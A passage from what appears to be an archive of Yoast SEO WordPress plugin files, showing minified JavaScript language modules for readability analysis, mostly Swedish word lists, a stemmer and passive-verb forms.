${constructor(e){super(e),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"hu",passiveConstructionType:"morphologicalAndPeriphrastic",functionWords:t,transitionWords:k,twoPartTransitionWords:r,firstWordExceptions:i,stopWords:m}),Object.assign(this.helpers,{getStemmer:g,getClauses:S,isPassiveSentence:V})}}(window.yoast=window.yoast||{}).Researcher=a})();wordpress-seo/js/dist/languages/default.js000064400000001675147510273070014706 0ustar00(()=>{"use strict";var e={d:(t,s)=>{for(var r in s)e.o(s,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:s[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{default:()=>o});const s=window.yoast.analysis,{baseStemmer:r}=s.languageProcessing;function n(){return r}const{AbstractResearcher:a}=s.languageProcessing;class o extends a{constructor(e){super(e),delete this.defaultResearches.getFleschReadingScore,delete this.defaultResearches.getPassiveVoiceResult,delete this.defaultResearches.getSentenceBeginnings,delete this.defaultResearches.findTransitionWords,delete this.defaultResearches.functionWordsInKeyphrase,Object.assign(this.config,{functionWords:[]}),Object.assign(this.helpers,{getStemmer:n})}}(window.yoast=window.yoast||{}).Researcher=t})();wordpress-seo/js/dist/languages/sv.js000064400000433576147510273070013723 0ustar00(()=>{"use strict";var s={d:(a,e)=>{for(var t in e)s.o(e,t)&&!s.o(a,t)&&Object.defineProperty(a,t,{enumerable:!0,get:e[t]})},o:(s,a)=>Object.prototype.hasOwnProperty.call(s,a),r:s=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(s,"__esModule",{value:!0})}},a={};s.r(a),s.d(a,{default:()=>$});const e=window.yoast.analysis,t=["ett","det","den","de","en","två","tre","fyra","fem","sex","sju","åtta","nio","tio","denne","denna","detta","dessa"],r=["alltså","ändå","annars","ännu","även","avslutningsvis","bl.a.","d.v.s.","då","därav","därefter","däremot","därför","därmed","därpå","dessutom","dock","efteråt","eftersom","emellertid","enligt","exempelvis","fastän","följaktligen","förrän","först","förutom","huvudsakligen","ifall","inledningsvis","innan","jämförelsevis","likadant","likaså","liksom","medan","men","nämligen","när","oavsett","också","omvänt","säkerligen","således","sålunda","sammanfattningsvis","sammantaget","samt","samtidigt","särskilt","såsom","sist","slutligen","speciellt","t.ex.","tidigare","tillika","tills","trots","tvärtemot","tvärtom","tydligen","varpå","vidare","uppenbarligen","ytterligare"],d=r.concat(["å andra sidan","å ena sidan","allt som allt","anledningen är","anledningen blir","annorlunda än","av den orsaken","av detta skäl","beroende på","bland annat","därtill kommer","det beror på att","det vill säga","det visar","detta beror på","detta går ut på att","detta innebär att","detta leder till","detta medför att","effekten blir","efter ett tag","ej heller","en effekt av detta","en förklaring till detta","ett exempel på detta","ett liknande exempel","exakt som","följden blir","för att avrunda","för all del","för att förklara","för att inte säga","för att inte tala om","för att klargöra","för att poängtera","för att säga det på ett annat sätt","för att sammanfatta","för att understryka","för att visa","för det andra","för det första","för det tredje","förr eller senare","för närvarande","framför allt","fram till nu","har att göra med","härav följer","i båda fallen","i det fallet","i det hela","i det här fallet","i det långa loppet","i enlighet med","i förhållande till","i fråga om","i jämförelse med","i kontrast till","i likhet med","i ljuset av","i motsats till","i och med","i relation till","i samband med","i sin tur","i själva verket","i slutändan","i stället för","i syfte att","i synnerhet","i verkligheten","icke desto mindre","ihop med","inte desto mindre","jämfört med","kan sammanfattas","kort sagt","konsekvensen av detta","lika viktigt är","målet är att","med andra ord","med anledning av","med det i åtanke","med det i tankarna","med ett ord","med hänsyn till","med härledning av","mot bakgrund av","mot den bakgrunden","när allt kommer omkring","när det gäller","närmare bestämt","nu när","orsaken är","på det sättet","på grund av","på liknande sätt","på så sätt","på samma sätt","resultatet blir","så länge som","så småningom","så snart som","sist men inte minst","slutsatsen blir","som antytt","som en följd av","som en konsekvens av","som ett exempel på","som ett resultat","som jag tidigare antytt","som konklusion kan","som man kan se","som nämnt","som tidigare nämnts","summa summarum","tack vare","till att börja med","till dess","till exempel","till en början","till följd av","till sist","till skillnad från","till slut","till största delen","tillsammans med","tvärt om","under de omständigheterna","under omständigheterna","under tiden","vad mera är","viktigt att inse","vilket innebär"]);function l(s){let a=s;return s.forEach((e=>{(e=e.split("-")).length>0&&e.filter((a=>!s.includes(a))).length>0&&(a=a.concat(e))})),a}const n=["en","ett","det","den","de"],i=["två","tre","fyra","fem","sex","sju","åtta","nio","tio","tiotals","elva","tolv","tretton","fjorton","femton","sexton","sjutton","arton","aderton","nitton","tjugo","hundra","hundratals","tusen","tusentals","miljon","miljoner","miljontals","miljard","miljarder"],k=["första","andra","tredje","fjärde","femte","sjätte","sjunde","åttonde","nionde","tionde","elfte","tolfte","trettonde","fjortonde","femtonde","sextonde","sjuttonde","artonde","nittonde","tjugonde"],o=["jag","du","han","hon","hen","vi","ni"],g=["mig","dig","honom","henne","oss","er","dem","henom","eder"],m=["sig","sin","sitt","sina"],f=["min","mitt","mina","din","ditt","dina","hans","hennes","dess","ens","vår","vårt","våra","er","ert","era","ers","deras","hens"],p=["denne","denna","detta","dessa","här","där","varifrån","därav","hit","dit","vart","hädan","dädan","vadan","hän","sen"],v=["som","vilken","vilket","vilka","vars","då"],u=["vem","vems","vad"],b=["hur","varför"],h=["någon","något","några","nån","nåt","ingen","inget","inga","annan","annat","andra","någonstans","ingenstans","annastans","överallt","någonstädes","ingenstädes","annorstädes","allestädes","någorlunda","ingalunda","annorlunda","någonting","ingenting","allting","all","allt","alla","somlig","somligt","somliga","mången","månget","man","en","ens"],c=["varandra","varsin","varsitt","envar","varannan","vartannat"],y=["andra","åtskilliga","bådadera","både","få","fårre","fåtalig","fåtaliga","flera","flesta","föga","ganska","icke","inte","lite","litet","många","mer","mera","mest","mindre","minst","mycket","nog","ollika","tillräckligt","vardera","varje","viss","visst","vissa","visse"],j=["bakåt","bakifrån","bortifrån","däråt","därav","därhän","däri","därifrån","därom","därpå","därtill","däruti","därvid","ditåt","dithän","dittills","efteråt","förrut","framåt","hädenefter","häråt","härav","härefter","häremot","häri","härifrån","härmed","härom","härpå","härtill","häruti","härvid","hitåt","hittills","ini","inifrån","intill","inuti","nedanför","nedåt","nedför","nedtill","uppåt","uppför","upptill","varav","varefter","varemot","varför","varfrån","vari","varifrån","varmed","varom","varpå","varthän","vartill","varur","varvid"],x=["behövande","behöver","behövt","behövde","bör","börande","borde","bort","brukade","brukande","brukar","brukat","fående","får","fått","fick","hade","haft","har","hava","havande","kan","kunde","kunnande","kunnat","mådde","mående","mår","måste","mått","måtte","skall","skulle","varande","velat","viljande","vill","ville"],w=["behöva","böra","bruka","få","ha","kunna","må","ska","vilja"],S=["är","var","varit","vore","blivit","blivande","blir","bliver","blev","blitt","funnits","finnande","finns","fanns","befunnit","befinnande","befinner","befann","tyckts","tyckande","tycks","tycktes"],R=["vara","bli","finnas","befinna","tyckas"],P=["gående","gällande","gällde","gäller","gällt","går","gått","gav","ger","gett","gick","givande","giver","gjorde","gjort","gör","görande","kom","kommande","kommer","kommit","ligger","ligges","lå","ligget","liggande","ställer","ställde","ställt","ställ","ställande","ställd","ställas","ställs","ställes","ställdes","ställts","tagande","tager","tagit","tar","tog","utgör","utgjorde","utgjort","utgörande","utgjord","utgöras","utgörs","utgöres","utgjordes","utgjorts"],z=["gå","gälla","ge","göra","komma","ligga","ställa","ta","utgöra"],E=["angav","anger","angett","angiver","angivit","berättade","berättar","berättat","föreslagit","föreslår","föreslått","föreslog","förklarade","förklarar","förklarat","förstår","förstått","förstod","frågade","frågar","frågat","påstår","påstått","påstod","sa","sade","säger","sagt","svarade","svarar","svarat","talade","talar","talat","tänker","tänkt","tänkte"],O=["ange","berätta","föreslå","förklara","förstå","fråga","påstå","säga","svara","tala","tänka"],M=["äldre","äldst","äldsta","äldste","bäst","bättre","dålig","dåliga","dålige","dåligt","egen","eget","egna","egne","enkel","enkelt","enkla","enklare","enklast","enklaste","enkle","fel","gamla","gamle","gammal","gammalt","god","goda","godare","godast","godaste","gode","gott","grundläggande","hel","hela","helare","helast","helaste","hele","helt","kort","korta","kortare","kortast","kortaste","korte","lång","långa","långe","längre","långsam","långsamma","långsammare","långsammast","långsammaste","långsamme","långsamt","längst","längsta","längste","långt","liknande","lilla","lille","liten","litet","mindre","minst","minsta","minste","möjlig","möjliga","möjligare","möjligast","möjligaste","möjlige","möjligt","nödvändig","nödvändiga","nödvändigare","nödvändigast","nödvändigaste","nödvändige","nödvändigt","normal","normala","normalare","normalast","normalaste","normale","normalt","ny","nya","nyare","nyast","nyaste","nye","nytt","olikt","olika","olike","samma","sämre","sämst","sämsta","sämste","särskild","särskilda","särskilde","särskilt","sen","sena","senare","senast","senaste","sene","sent","små","snabb","snabba","snabbare","snabbast","snabbaste","snabbe","snabbt","stor","stora","store","större","störst","största","störste","stort","svår","svåra","svårare","svårast","svåraste","svåre","svårt","tidig","tidiga","tidigare","tidigast","tidigaste","tidige","tidigt","trevlig","trevliga","trevligare","trevligast","trevligaste","trevlige","trevligt","ung","unga","unge","ungt","uppenbar","uppenbara","uppenbare","uppenbart","värre","värst","värsta","värste","verklig","viktig","viktiga","viktigare","viktigast","viktigaste","viktige","viktigt","yngre","yngst","yngsta","yngste"],W=["aldrig","allmänt","alltid","delvis","direkt","huvudsakligen","ibland","långsamt","mestadels","nästan","ofta","relativt","riktigt","riktigare","riktigast","sällan","snabbt","ständigt","väl","vanligt"],q=["antal","antalet","antals","antalets","antalen","antalens","bit","bitar","bitarna","bitarnas","bitars","biten","bitens","bits","del","delar","delarna","delarnas","delars","delen","delens","dels","detalj","detaljen","detaljens","detaljer","detaljerna","detaljernas","detaljers","detaljs","exempel","exempels","exemplet","exemplets","exemplen","exemplens","person","personen","personens","personer","personerna","personernas","personers","persons","procent","punkt","punkten","punktens","punkter","punkterna","punkternas","punkters","sak","saken","sakens","saker","sakerna","sakernas","sakers","saks","sätt","sätten","sättens","sättet","sättets","sätts","skillnad","skillnaden","skillnadens","skillnader","skillnaderna","skillnadernas","skillnaders","skillnads","sort","sorten","sortens","sorter","sorterna","sorternas","sorters","sorts","tema","teman","temanas","temans","temas","temat","temats","tid","tiden","tidens","tider","tiderna","tidernas","tiders","tids","ting","tingen","tingens","tinget","tingets","tings"],T=["åt","av","bakom","bland","bortom","bredvid","cirka","efter","emellan","emot","enligt","för","före","förutom","framför","från","genom","hos","i","igenom","inom","inuti","längs","med","mellan","mittemot","mot","nära","nästa","nedan","ner","olik","om","omkring","ovanför","ovanpå","över","på","runt","sedan","som","till","tvärs","tvärsöver","under","upp","ur","ut","utan","utanför","utom","via","vid"],_=["absolut","alldeles","allra","bra","fullständigt","fullt","ganska","helt","illa","jätte","rysligt","så","storligen","totalt","väldigt","ytterst"],A=["eller","och"],C=["att"],D=["år","årens","året","årets","års","årtal","årtalen","årtalens","årtaconst","årtaconsts","årtals","dag","dagar","dagarna","dagarnas","dagars","dagen","dagens","dags","går","idag","månad","månaden","månadens","månader","månaderna","månadernas","månaders","månads","minut","minuten","minutens","minuter","minuterna","minuternas","minuters","minuts","morgon","sekund","sekunden","sekundens","sekunder","sekunderna","sekundernas","sekunders","sekunds","timmar","timmarna","timmarnas","timmars","timme","timmen","timmens","timmes","vecka","veckan","veckans","veckas","veckor","veckorna","veckornas","veckors"],F=["prof","doc","dr"],I=["å","aj","aja","fy","grattis","hej","hu","jaså","javisst","o","oj","ojdå","prosit","puh","skål","usch"],L=["c","cl","cm","dl","g","kg","km","krm","l","m","mg","ml","mm","msk","pkt","st","tsk"],B=["förlåt","ja","jo","ju","m.m","nej","ok","okej","tack"],G=(l([].concat(k,M,W,w,z,R,O)),l([].concat(n,T,A,p,_,y,f)),l([].concat(r,o,g,m,v,I,i,S,x,E,P,h,c,C,u,b,B,j,L,D,F,q)),l([].concat(n,i,k,o,g,m,f,p,v,u,b,h,c,y,j,x,w,S,R,P,z,E,O,M,W,q,T,_,A,C,D,F,I,L,B))),H=[["antingen","eller"],["icke blott","utan afven"],["ju","desto"]],J={productPages:{parameters:{recommendedMinimum:3,recommendedMaximum:6,acceptableMaximum:7,acceptableMinimum:1}}},K=window.lodash,N=function(s,a){const e=s.match(new RegExp(a.externalStemmer.regexR1region));let t="";return e&&e[1]&&(t=e[1],e.index+2<3&&(t=s.slice(3))),{r1:t,rest:s.slice(0,s.length-t.length)}},{baseStemmer:Q}=e.languageProcessing;function U(s){const a=(0,K.get)(s.getData("morphology"),"sv",!1);return a?s=>function(s,a){let e=N(s,a);const t=function(s,a,e){const t=a.r1;if(!t)return s;const r=new RegExp(e.externalStemmer.regexSuffixes1a),d=t.match(r);return d?a.rest+t.slice(0,d.index):s}(s,e,a),r=function(s,a,e){return a.r1&&s.match(new RegExp(e.externalStemmer.regexSuffixes1b))?s.slice(0,-1):s}(s,e,a);return s=t.length<r.length?t:r,e=N(s,a),s=function(s,a,e){const t=a.r1;return t&&t.match(new RegExp(e.externalStemmer.regexSuffixes2))?s.slice(0,-1):s}(s,e,a),e=N(s,a),function(s,a,e){const t=a.r1;if(t){if(t.match(new RegExp(e.externalStemmer.regexSuffixes3a)))return s.slice(0,-1);const r=t.match(new RegExp(e.externalStemmer.regexSuffixes3b));return r?a.rest+t.slice(0,r.index):s}return s}(s,e,a)}(s,a):Q}const V=["åberopades","åberopas","åberopats","aborterades","aborteras","absorberades","absorberas","abstraherats","acceleras","accelereras","accentuerades","accentueras","accentuerats","accepeteras","accepterades","accepteras","accepterats","äcklades","äcklas","äcklats","ackompagnerades","ackompanjerades","ackompanjeras","ackompanjerats","ackumuleras","ackumulerats","ådagalades","ådagaläggs","adderades","adderas","adderats","adelspalats","åderlåtas","åderlåtits","adidas","adlades","adlas","adlats","administrerades","administreras","ådömas","ådömdes","ådömes","ådöms","ådömts","adopterades","adopteras","adopterats","adresserades","adresseras","adresserats","adventures","affaires","affischeras","aflägsnas","agades","agas","ägas","ägdes","ageras","ägnades","agnas","ägnas","ägnats","ägs","ägts","åhördes","aidstestas","ajournerades","ajourneras","åkallades","åkallas","åkas","aklagas","åks","aktades","aktas","akterseglas","åktes","äkthetsförklarades","aktietips","aktiverades","aktiveras","aktiverats","aktivierats","aktualiserades","aktualiseras","aktualiserats","ålades","åläggas","åläggs","ålagts","alarmerades","åldersbestämmas","algas","alienerades","alldeldes","alldelses","alleles","allendes","allergiskadades","allierades","allokeras","almsicks","alouettes","älskas","älskats","alstrades","alstras","alstrats","ältades","ältas","ältats","amatöriserades","amerikaniseras","ammades","ammas","ammats","amores","amorteras","amorterats","amputerades","amputeras","amputerats","anades","analyserades","analyseras","analyserats","anammades","anammas","anammats","anas","anats","anbefalldes","anbefalles","anbefalls","anbringas","anbringats","anbudsupphandlas","ändhållplats","ändrades","andras","ändras","ändrats","anfäktades","anfäktas","anfäktats","anfallas","anfallits","anfalls","anfölls","anföras","anfördes","anföres","anförs","anförtroddes","anförtros","anförtrotts","anförts","anfrätas","ångades","ångas","ångats","angavs","anges","angetts","angives","angivits","angivs","angjordes","ångkokas","angöras","angörs","ångras","ångrats","angreps","angripas","angripits","angrips","ängslades","ängslas","ängslats","anhållas","anhålles","anhållits","anhålls","anhölls","anhopas","animeras","ankalagas","anklagades","anklagas","anklagats","anklagts","anknyts","ankrades","anlades","anläggas","anläggs","anlagts","anlitades","anlitas","anlitats","anmälas","anmäldes","anmäles","anmäls","anmälts","anmanas","anmärkas","anmärks","anmärkts","anmodades","anmodas","anmodats","annekterades","annekteras","annekterats","annonserades","annonseras","annonserats","annuleras","annullerades","annulleras","annvänds","anordnades","anordnas","anordnats","anpassades","anpassas","anpassats","anrås","anrättas","anrättats","anrikas","anropas","ansades","ansågs","ansamlades","ansamlas","ansamlats","ansas","ansättas","ansattes","ansatts","ansätts","anses","ansetts","anskaffades","anskaffas","anskaffats","anslagits","anslagsfinansierats","anslås","anslogs","anslöts","anslutas","anslutits","ansluts","ansökas","ansökes","ansöktes","ansökts","anspelas","anställas","anställdes","anställes","anställs","anställts","ansträngas","ansträngdes","ansträngs","ansträngts","ansvisas","antagas","antages","antagits","antändas","antändes","antänds","antänts","antas","antastas","antastats","anteciperas","antecknades","antecknas","antecknats","anteras","antogs","antologiserats","anträddes","anträffas","anträffats","äntras","antydas","antyddes","antydes","antyds","antytts","anvämdas","användas","användes","används","använts","anvisades","anvisas","anvisats","apéritifdags","apostroferades","applåderades","applåderas","applåderats","applicerades","appliceras","applicerats","apprecieras","aprilskämtas","apterades","apteras","apterats","ärades","åräknas","äras","ärats","arbetades","arbetas","arbetats","argumenterades","argumenteras","arielvas","aristokratpalats","arkebuserades","arkebuseras","arkebuserats","arkiverades","arkiveras","arkiverats","armbågas","armeras","armerats","ärnas","arrangerades","arrangeras","arrangerats","arrenderades","arrenderas","arrenderats","arresterades","arresteras","arresterats","årsundas","artbestäms","artbestämts","artikulerades","artikuleras","ärvas","arvoderades","arvoderas","ärvs","ärvts","åsågs","åsamkades","åsamkas","åsamkats","åsättas","åsatts","åsätts","åsetts","asfalteras","asfalterats","åsidosättas","åsidosattes","åsidosättes","åsidosatts","åsidosätts","åsiktsnäts","åskades","åskådliggjorts","åskådliggöras","åskådliggörs","åskådligörs","äskas","assimilerades","assimileras","assimilerats","assisterades","assisteras","associationeras","associerades","associeras","åstadkommas","åstadkommes","åstadkommits","åstadkoms","åstakommas","åstakoms","asturias","åsyftades","åsyftas","åtalades","åtalas","åtalats","åtaldes","ätas","åteförenas","ateljéplats","återanpassas","återanställdes","återanställs","återanställts","återantändas","återanvändas","återanvändes","återanvänds","återbefolkades","återbefolkas","återberättades","återberättas","återbesättas","återbesätts","återbetalades","återbetalas","återbetalats","återbildas","återbildats","återbördades","återbördas","återbördats","återbrukas","återerövras","återerövrats","återexploateras","återfångas","återfanns","återfås","återfinnas","återfinnes","återfinns","återfödas","återföddes","återföds","återföras","återfördes","återförenades","återförenas","återförenats","återförs","återförts","återförvildas","återförvisades","återförvisas","återfunnits","återgavs","återges","återgetts","återgives","återgivits","återhämtades","återhämtats","återiföras","återimporteras","återinföras","återinfördes","återinförs","återinförts","återinrättades","återinrättas","återinsättas","återinsattes","återinstallerades","återintegreras","återinvesterades","återinvesteras","återinvigas","återinvigdes","återinvigs","återkallades","återkallas","återkallats","återkastades","återkastas","återkatoliceras","återknutits","återknytas","återköpas","återkopplas","återköptes","återkrävas","återladdas","återlämnades","återlämnas","återlämnats","återlevererats","återlöses","återmatas","åternationaliseras","åternoterades","återönskas","återöppnas","återöppnats","återplanteras","återreglerades","återregleras","återremitterades","återremitteras","återremitterats","återropades","återsågs","återsamlades","återsamlas","återsändas","återsändes","återsänds","återses","återskapades","återskapas","återskapats","återskolas","återspeglades","återspeglas","återspeglats","återställas","återställdes","återställes","återställs","återställts","återstartas","återtagas","återtas","återtogs","återuppbyggas","återuppbyggdes","återuppbyggts","återuppföras","återuppfördes","återuppförts","återupplevs","återupplivades","återupplivas","återupplivats","återuppnås","återupprättades","återupprättas","återupprättats","återupprepades","återupprepas","återuppsattes","återupptäckas","återupptäcktes","återupptäckts","återupptagits","återupptas","återupptogs","återuppväckas","återuppväcks","återuppväcktes","återuppväckts","återutges","återutgetts","återutgivits","återutnämnas","återutnämnts","återväcktes","återvaldes","återväljs","återvändas","återvanns","återvinnas","återvinns","återvisades","återvisas","återvunnits","ätes","åtföljas","åtföljdes","åtföljs","åtföljts","åtgärdades","åtgärdas","åtgärdats","åthutas","ätits","åtlydas","åtlyddes","åtlyds","åtnjuts","åtrås","åts","äts","åtsadkommas","åtskildes","åtskiljas","åtskiljs","attackerades","attackeras","attackerats","attackutrustas","attesterades","attesterats","attraherades","attraheras","attraherats","auktionerades","auktioneras","auktoriserades","auktoriseras","automatiserades","automatiseras","automatiserats","avanmälas","avanmäls","avåts","avbalkats","avbeställdes","avbeställts","avbetades","avbetalas","avbildades","avbildas","avbildats","avblåsas","avblåses","avblåstes","avblåsts","avblockerades","avböjas","avböjdes","avbokas","avbördas","avbröts","avbrutits","avbrytas","avbryts","avdelas","avdelats","avdemokratiserades","avdömas","avdömdes","avdramatiseras","avdramatiserats","äventyras","äventyrats","averages","averotiseras","avfärdades","avfärdas","avfärdats","avfattades","avfattas","avfestas","avfiras","avfolkades","avfolkas","avfolkats","avföras","avfördes","avföres","avförs","avförts","avfotograferades","avfyrades","avfyras","avfyrats","avges","avgiftades","avgiftas","avgiftsbelades","avgiftsbeskattas","avgivits","avgjordes","avgjorts","avgöras","avgöres","avgörs","avgränsades","avgränsas","avhållas","avhålles","avhållits","avhålls","avhånades","avhånas","avhändes","avhandlades","avhandlas","avhandlats","avhänds","avhästades","avhjälpas","avhjälps","avhjälptes","avhjälpts","avhölls","avhöras","avhördes","avhörts","avhysas","avhyses","avidentifieras","avideologiseras","avindividualiserats","avisades","avisas","aviserades","aviseras","aviserats","avjapaniseras","avjoniserats","avklädas","avkläddes","avklarades","avklaras","avklassificerades","avknoppades","avknoppas","avknoppats","avkodas","avkrävas","avkrävdes","avkrävs","avkrävts","avkriminaliseras","avkunnades","avkunnas","avkunnats","avkyls","avlades","avläggas","avlägges","avlägsnades","avlägsnas","avlägsnats","avlämnades","avlämnas","avlämnats","avlas","avläs","avläsas","avläses","avlastades","avlastas","avlästes","avlats","avledas","avleds","avlevereras","avlivades","avlivas","avlivats","avlockas","avlockats","avlöjas","avlönades","avlönas","avlönats","avlösas","avlöses","avlossades","avlossas","avlossats","avlöstes","avlösts","avlövas","avlutas","avlyssnades","avlyssnas","avlystes","avmagnetiseras","avmattas","avmobiliserades","avmumiefieras","avmystifieras","avnavlades","avnjöts","avnjutas","avnjutes","avnjuts","avnoterades","avnoteras","avpassas","avpatrulleras","avpolitiseras","avpolleterades","avpolleteras","avpolletterades","avpolletteras","avporträtterades","avporträtteras","avprogrammeras","avprogrammerats","avprutades","avrådas","avråddes","avråds","avräknas","avrapporteras","avrapporterats","avrättades","avrättas","avrättats","avråtts","avregistrerades","avregistreras","avregistrerats","avreglerades","avregleras","avreglerats","avritas","avrundades","avrundas","avrustades","avrustas","avs","avsågs","avsändas","avsändes","avsänds","avsänts","avsättas","avsattes","avsatts","avsätts","avses","avsetts","avskaffades","avskaffas","avskaffats","avskäras","avskärmas","avskedades","avskedas","avskedats","avskedshyllades","avskildes","avskiljas","avskiljes","avskiljs","avskilts","avskjutas","avskjutits","avskräckas","avskräcks","avskräcktes","avskräckts","avskrevs","avskrivas","avskrivits","avskrivs","avskurits","avskys","avslagits","avslås","avslogs","avslöjades","avslöjas","avslöjats","avslöjtas","avslutades","avslutas","avslutats","avsmakades","avsökas","avsöndras","avspänningsglödgas","avspärrades","avspärrats","avspeglades","avspeglas","avspeglats","avspelas","avspisades","avspisas","avstängas","avstängdes","avstängs","avstängts","avstyras","avstyrks","avstyrktes","avstyrkts","avsynas","avsyras","avtackades","avtackas","avtäckas","avtackats","avtäcks","avtäcktes","avtäckts","avtagas","avtalades","avtalas","avtalats","avtecknas","avtjänas","avtjänats","avträdas","avträddes","avtrappas","avtrubbas","avtrubbats","avtvås","avtvingades","avtvingas","avundades","avundats","avvägas","avvaktas","avväpnades","avväpnas","avväpnats","avvaras","avvärjas","avvärjdes","avvärjs","avvärjts","avvattnas","avvecklades","avvecklas","avvecklats","avverkades","avverkas","avverkats","avvinnas","avvisades","avvisas","avvisats","avyttrades","avyttras","avyttrats","axlades","axlas","axlats","babblades","babettes","backades","backas","backats","badades","badas","bäddades","baddas","bäddas","bäddats","bads","bagatelliserades","bagatelliseras","bagatelliserats","bagoas","bakades","bakas","bakats","bakbands","bakbinds","baksits","baktalas","baktalats","balanserades","balanseras","balanserats","balas","balsamerades","balsameras","banaliseras","bananas","banats","bandades","bandas","bandats","banderas","bändes","bands","bänds","bänkades","bankas","bankats","bannas","bannlysas","bannlyses","bannlystes","bantades","bantas","bantats","barabbas","bäras","bäres","bärgades","bärgas","bärgats","barings","barnablods","barnes","barrantes","bars","bärs","barthes","baserades","baseras","baserats","basunerades","basuneras","basunerats","bättrades","bättras","bättrats","baxades","baxas","baxats","beaktades","beaktas","beaktats","bearbetades","bearbetas","bearbetats","beättas","bebådas","beblandas","beboddes","bebos","bebotts","bebyggas","bebyggdes","bebyggs","bedårades","bedåras","bedjas","bedömas","bedömdes","bedömms","bedöms","bedömts","bedövades","bedövas","bedragas","bedras","bedrevs","bedrivas","bedrives","bedrivits","bedrivs","beds","bedyras","bedyrats","beers","befalldes","befallts","befanns","befarades","befaras","befarats","befästas","befästes","befästs","befinnas","befinnes","befinns","befläckats","befodrats","befolkades","befolkas","befolkats","befordrades","befordras","befordrats","befrämjades","befrämjas","befriades","befrias","befriats","befruktades","befruktas","befruktats","befunnits","begagnas","begapas","begäras","begärdes","begärs","begärts","begås","begåtts","begåvades","begåvas","begåvats","begicks","begöts","begränas","begränsades","begränsas","begränsats","begravas","begravdes","begravs","begravts","begreps","begripas","begrips","begrovs","begrundades","begrundas","behäftas","behagas","behållas","behållits","behålls","behandlades","behandlas","behandlats","behängts","behärskades","behärskas","behölls","behövas","behövdes","behöves","behövs","behovsprövas","behövts","beivras","beivrats","bejakas","bejakats","bejublades","bejublas","bejublats","bekämpades","bekämpas","bekämpats","bekändes","bekännas","bekänns","bekantas","bekantgjorts","békas","bekikas","bekläddes","beklagades","beklagas","beklagats","beklas","beklätts","bekommas","bekostades","bekostas","bekostats","beköts","bekräftades","bekräftas","bekräftats","bekymras","belades","beläggas","beläggs","belägrades","belägras","belägrats","belagts","belamrades","belamras","belastades","belastas","belastats","beledsagades","beledsagas","beles","belönades","belönas","belönats","belys","belysas","belyses","belystes","belysts","bemålats","bemannades","bemannas","bemannats","bemästras","bemästrats","bemötas","bemöts","bemöttes","bemötts","bemyndigades","bemyndigas","benådades","benådas","benådats","benaissas","benämnas","benämndes","benämnes","benämns","benämnts","benas","benedikts","bennetts","benskadats","beöms","beordrades","beordras","beordrats","bepudrades","beräknades","beräknas","beräknats","berättades","berättas","berättats","berättigades","berättigas","berättigats","beredas","bereddes","beredes","bereds","beretts","berikades","berikas","berikats","berishas","bermudas","berömdes","berömmas","beröms","beröras","berördes","berörs","berörts","berövades","berövas","berövats","berusades","berusats","bes","besåddes","besågs","besannades","besannas","besannats","besås","besättas","besattes","besatts","besätts","besegarades","besegerades","beseglades","beseglas","besegrades","besegras","besegrats","beses","besiktas","besiktigas","besiktigats","besittes","besitts","besjälas","besjöngs","besjungas","besjungits","besjungs","beskådades","beskådas","beskälls","beskäras","beskars","beskärs","beskattades","beskattas","beskattats","beskedas","beskevs","beskjutas","beskjutits","beskjuts","beskogats","besköts","beskrevs","beskrivas","beskrives","beskrivits","beskrivs","beskurits","beskyddades","beskyddas","beskyllas","beskylldes","beskylls","beskyllts","beslagits","beslagtagits","beslagtas","beslagtogs","beslås","beslogs","beslöjades","beslöjas","beslöts","beslutades","beslutas","beslutats","besmittats","besökas","besöks","besöktes","besökts","besparades","besparas","besparats","bespisas","bespottas","bespottats","besprutades","besprutas","besprutats","beställas","beställdes","beställes","beställs","beställts","bestals","bestämdes","bestämmas","bestämmes","bestäms","bestämts","bestänktes","bestås","bestigas","bestigits","bestjäls","bestods","bestormas","bestraffades","bestraffas","bestraffats","bestrålas","bestrålats","bestreds","bestridas","bestriddes","bestrids","beströddes","bestulits","bestyckas","bestyckats","bestyras","bestyrkas","bestyrkes","bestyrks","besudlas","besudlats","besvarades","besvärades","besvaras","besväras","besvarats","besvärats","besvärjas","betäckas","betäcktes","betäckts","betades","betalades","betalas","betalats","betalts","betänkas","betas","betats","betcknas","betecknades","betecknas","betecknats","betingades","betingas","betitlades","betjänas","betonades","betonas","betonats","beträdas","beträddes","betrakats","betraktades","betraktas","betraktats","betroddes","betrotts","bets","betsas","betslas","betts","betvingas","betvingats","betvivlas","betvivlats","betygas","betygsättas","betygsattes","betygsatts","betygsätts","betygssättas","beundrades","beundras","beundrats","bevakades","bevakas","bevakats","beväpnades","beväpnats","bevarades","bevaras","bevarats","bevärdigades","bevärdigats","bevattnades","bevattnas","bevekas","beviljades","beviljas","beviljats","bevisades","bevisas","bevisats","bevistas","bevittnades","bevittnas","bevittnats","bhopas","bibehållas","bibehålles","bibehållits","bibehålls","bibehölls","bibliograferas","bibringades","bibringas","bibringats","bidrags","biesmes","bifallas","bifalles","bifallits","bifalls","bifogades","bifogas","bifogats","bifölls","bilades","biläggas","biläggs","bilagts","bildades","bildas","bildats","bildsättas","bildsätts","bilfraktas","billhälls","bilskjuts","bindas","bindes","binds","bisättas","bisattes","biscuits","bitas","bitits","biträdas","biträddes","biträdes","biträds","bits","bjöds","bjudas","bjudes","bjudits","bjuds","bläddrades","bläddras","blades","blåfärgats","blåmärkas","blandades","bländades","blandas","bländas","blandats","bländats","blandfärs","blankslipades","blankslitits","blås","blåsas","blåses","blåstes","blästrades","blästras","blästrats","blåsts","blekas","blekläggas","bleks","blekts","blidkades","blidkas","blindmes","blindtarmsopererats","blindtestas","blinkas","blixtinkallades","blixtinkallas","blixtinkallats","blixtutredas","blockerades","blockeras","blockerats","blodfylls","blodfyllts","blomsterhyllas","blossas","blötas","blötläggas","blötläggs","blöts","blottades","blottas","blottats","blöttes","blottlades","blottläggas","blottläggs","blottlagts","blötts","blottställas","bluddrats","bluffas","blygas","blygdes","blygs","blylastas","bockas","bogserades","bogseras","bogserats","böjas","böjdes","bojkottades","bojkottas","böjs","böjts","bokades","bokas","bokats","bokföras","bokfördes","bokförs","bokförts","bolagiserades","bolagiseras","bolagiserats","bolas","bolivares","bollades","bollas","bollats","bombades","bombarderades","bombarderas","bombarderats","bombas